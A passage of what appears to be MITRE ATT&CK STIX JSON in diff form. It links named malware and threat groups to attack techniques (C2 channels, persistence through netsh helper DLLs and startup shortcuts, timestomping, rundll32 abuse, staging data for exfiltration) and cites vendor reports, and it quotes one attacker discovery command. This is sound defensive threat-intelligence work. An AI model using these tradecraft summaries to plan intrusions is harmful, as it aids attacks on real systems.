"description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.", + "source_name": "Symantec Catchamas April 2018", + "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Emissary](https://attack.mitre.org/software/S0082) uses HTTP or HTTPS for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--73171e71-b769-41ff-874a-ff76da43541f", + "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.", + "source_name": "Lotus Blossom Dec 2015", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) used the Plink utility and other tools to create tunnels to C2 servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--99686b3a-1ca4-4b36-ad4d-a8876d8c65ba", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.571Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[MobileOrder](https://attack.mitre.org/software/S0079) has a command to upload to its C2 server information about files on the victim mobile device, including SD card size, installed app list, SMS content, contacts, and calling history.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--bc72acee-e417-4de8-8084-153e141917b6", + "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b", + "description": "[Dok](https://attack.mitre.org/software/S0281) uses AppleScript to create a login item for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--79958f80-16ca-4287-b691-9c748d6baf66", + "source_ref": "malware--f36b2598-515f-4345-84e5-5ccde253edbe", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) obtains a list of running processes on the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1923a47b-5a48-44e6-883f-ca23a96fea46", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "modified": "2019-02-01T14:39:36.313Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", + "source_name": "ESET Sednit Part 1", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf" + }, + { + "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.", + "source_name": "Unit 42 Sofacy Feb 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", + "description": "[OwaAuth](https://attack.mitre.org/software/S0072) has been loaded onto Exchange servers and disguised as an ISAPI filter (DLL file). The IIS w3wp.exe process then loads the malicious DLL.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c1884e62-7b2e-45a1-89fd-c76b1b717f50", + "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", + "description": "[Psylo](https://attack.mitre.org/software/S0078) has a command to conduct timestomping by setting a specified file\u2019s timestamps to match those of a system file in the System32 directory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d8a7ec97-b262-489d-bc4b-e2c7007f75bc", + "source_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Sakula](https://attack.mitre.org/software/S0074) uses HTTP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3b9e7ec8-8b10-4fe4-87b3-38b7710dbbb9", + "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.", + "source_name": "Dell Sakula", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) connects over 443 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a72ad83f-8336-4d01-b22d-5c836f5e5bf9", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "modified": "2019-04-22T22:31:38.500Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "source_name": "Volexity PowerDuke November 2016", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) stages command output and collected data in files before exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--df48ab06-0916-4d1d-9142-d0a508d0f0d4", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "modified": "2019-04-24T15:26:03.814Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.037Z", + "id": "relationship--47545d87-b0ae-45ae-aeea-dc849eac2f6f", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.542Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2", + "description": "[netsh](https://attack.mitre.org/software/S0108) can be used as a persistence proxy technique to execute a helper DLL when netsh.exe is executed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--581f8dd6-edd4-467b-a3d5-3177870b0264", + "source_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.", + "source_name": "Demaske Netsh Persistence", + "url": "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "To establish persistence, [SslMM](https://attack.mitre.org/software/S0058) identifies the Start Menu Startup directory and drops a link to its own executable disguised as an \u201cOffice Start,\u201d \u201cYahoo Talk,\u201d \u201cMSN Gaming Z0ne,\u201d or \u201cMSN Talk\u201d shortcut.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--8904bd95-4844-4fe4-b6b6-47e4a4f8d85d", + "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421", + "modified": "2019-04-25T02:48:47.552Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "source_name": "Baumgartner Naikon 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[Remsec](https://attack.mitre.org/software/S0125) schedules the execution one of its modules by creating a new scheduler task.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b2cf6651-3f2c-4522-9360-dbc5c7af43c5", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[SynAck](https://attack.mitre.org/software/S0242) gathers user names from infected hosts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--2fededb7-e713-495c-a317-919c037434a8", + "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", + "modified": "2019-07-26T23:00:57.369Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", + "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", + "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[Poseidon Group](https://attack.mitre.org/groups/G0033) searches for administrator accounts on both the local victim machine and the network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.070Z", + "id": "relationship--a602be33-6ed6-4f73-b7f6-10b47581707a", + "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.", + "source_name": "Kaspersky Poseidon Group", + "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) has the capability to download files to execute on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1b95cd32-155b-488d-bbf8-e16f22e2a1d5", + "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "source_name": "Unit 42 Bisonal July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has commands to get the time the machine was built, the time, and the time zone.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6b38f460-e309-4ab1-bbc9-bd0bb30f4af9", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "modified": "2019-04-22T22:31:38.506Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "source_name": "Volexity PowerDuke November 2016", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "The [CozyCar](https://attack.mitre.org/software/S0046) dropper copies the system file rundll32.exe to the install location for the malware, then uses the copy of rundll32.exe to load and execute the main [CozyCar](https://attack.mitre.org/software/S0046) component.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6e24d8d1-7376-493f-a85c-75448c80efed", + "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", + "modified": "2019-04-24T23:17:25.178Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", + "source_name": "F-Secure CozyDuke", + "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[OSInfo](https://attack.mitre.org/software/S0165) discovers information about the infected machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--7507eb37-407e-4428-b29f-da0bda3f7970", + "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "source_name": "Symantec Buckeye", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used a modified version of Mimikatz called Wrapikatz.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4ce5e752-97d6-4803-a49c-0f905729a133", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.628Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + }, + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uploads and downloads information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d8d6740b-a359-4f5c-b7d4-2189eea77892", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "modified": "2019-05-03T16:54:33.261Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.", + "source_name": "Lazarus RATANKBA", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/" + }, + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--e9b0af76-f6b1-43b0-ac0e-ea23582f575b", + "source_ref": "intrusion-set--7636484c-adc5-45d4-9bfe-c3e062fbc4a0", + "modified": "2019-03-22T19:59:49.430Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ClearSky Charming Kitten Dec 2017", + "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.053Z", + "id": "relationship--318afc9f-92f3-4262-af70-b2e045b87737", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "modified": "2019-09-04T19:48:17.684Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[admin@338](https://attack.mitre.org/groups/G0018) actors used the following command following exploitation of a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to obtain information about services: net start >> %temp%\\download", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.052Z", + "id": "relationship--e6e324d1-b775-48bb-ac9f-02fcc2428752", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "modified": "2019-09-04T19:48:17.582Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", + "description": "[APT30](https://attack.mitre.org/groups/G0013) may have used the [SHIPSHAPE](https://attack.mitre.org/software/S0028) malware to move onto air-gapped networks. [SHIPSHAPE](https://attack.mitre.org/software/S0028) targets removable drives to spread to other systems by modifying the drive to use Autorun to execute or by hiding legitimate document files and copying an executable to the folder with the same name as the legitimate document.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--114f98a4-6243-4a0c-a6c4-3e693a4f9b08", + "source_ref": "malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "The [Ke3chang](https://attack.mitre.org/groups/G0004) group has been known to compress data before exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.033Z", + "id": "relationship--ab7eb363-c775-4065-a80d-1b324f22d0b8", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.481Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[BADCALL](https://attack.mitre.org/software/S0245) collects the computer name and host name on the compromised system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--8840d33c-de12-45d5-a0e3-cdfddf789794", + "source_ref": "malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.", + "source_name": "US-CERT BADCALL", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.050Z", + "id": "relationship--8d6cf235-4a33-4866-9b73-a7119293e5db", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.637Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) searches for certain Registry keys to be configured before executing the payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--77d079b6-2df9-4ae9-bc7c-1ebe99708660", + "source_ref": 